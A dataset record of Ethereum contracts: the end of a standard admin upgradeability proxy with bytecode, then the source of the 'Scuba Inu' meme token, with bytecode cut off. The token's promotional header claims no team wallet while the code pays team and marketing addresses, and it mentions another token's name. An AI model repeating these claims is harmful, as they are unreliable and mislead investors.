* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220401c74d3e7f766707c9c2337d22314b5f19323083d6f9ef3755e9b0bbab43a3364736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,245 |
0x3f0a3aec13eab4f49ba3218c790aa8913972a6e0
|
/**
*Submitted for verification at Etherscan.io on 2021-06-06
*/
/*
https://t.me/Undertheseatoken
https://scubainu.com
Shiba Inu... everyone knows him. If it weren't for his silverspoon upbringing and toxic relationship with Elon Musk you would have never met him.
Now It's time to meet me: Scuba Inu! While you all have been shifting through the ocean of meme coins I've been here waiting patiently in its depths to be discovered.
Crypto voyagers prepare to be rich for you have just discovered a treasure!! Scuba Inu is here.
With a dynamic sell limit based on price impact and increasing sell cooldowns and redistribution taxes on consecutive sells, Myōbu was designed to reward holders and discourage dumping.
1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade.
3. No presale wallets that can dump on the community.
Token Information
1. 1,000,000,000,000 Total Supply
3. Developer provides LP
4. Fair launch for everyone!
5. 0,2% transaction limit on launch
6. Buy limit lifted after launch
7. Sells limited to 3% of the Liquidity Pool, <2.9% price impact
8. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed
9. 2% redistribution to holders on all buys
10. 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells
11. Redistribution actually works!
12. 5-6% developer fee split within the team
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract ScubaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Scuba Inu";
string private constant _symbol = "SCUBINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600981526020017f536375626120496e750000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f53435542494e5500000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73fffff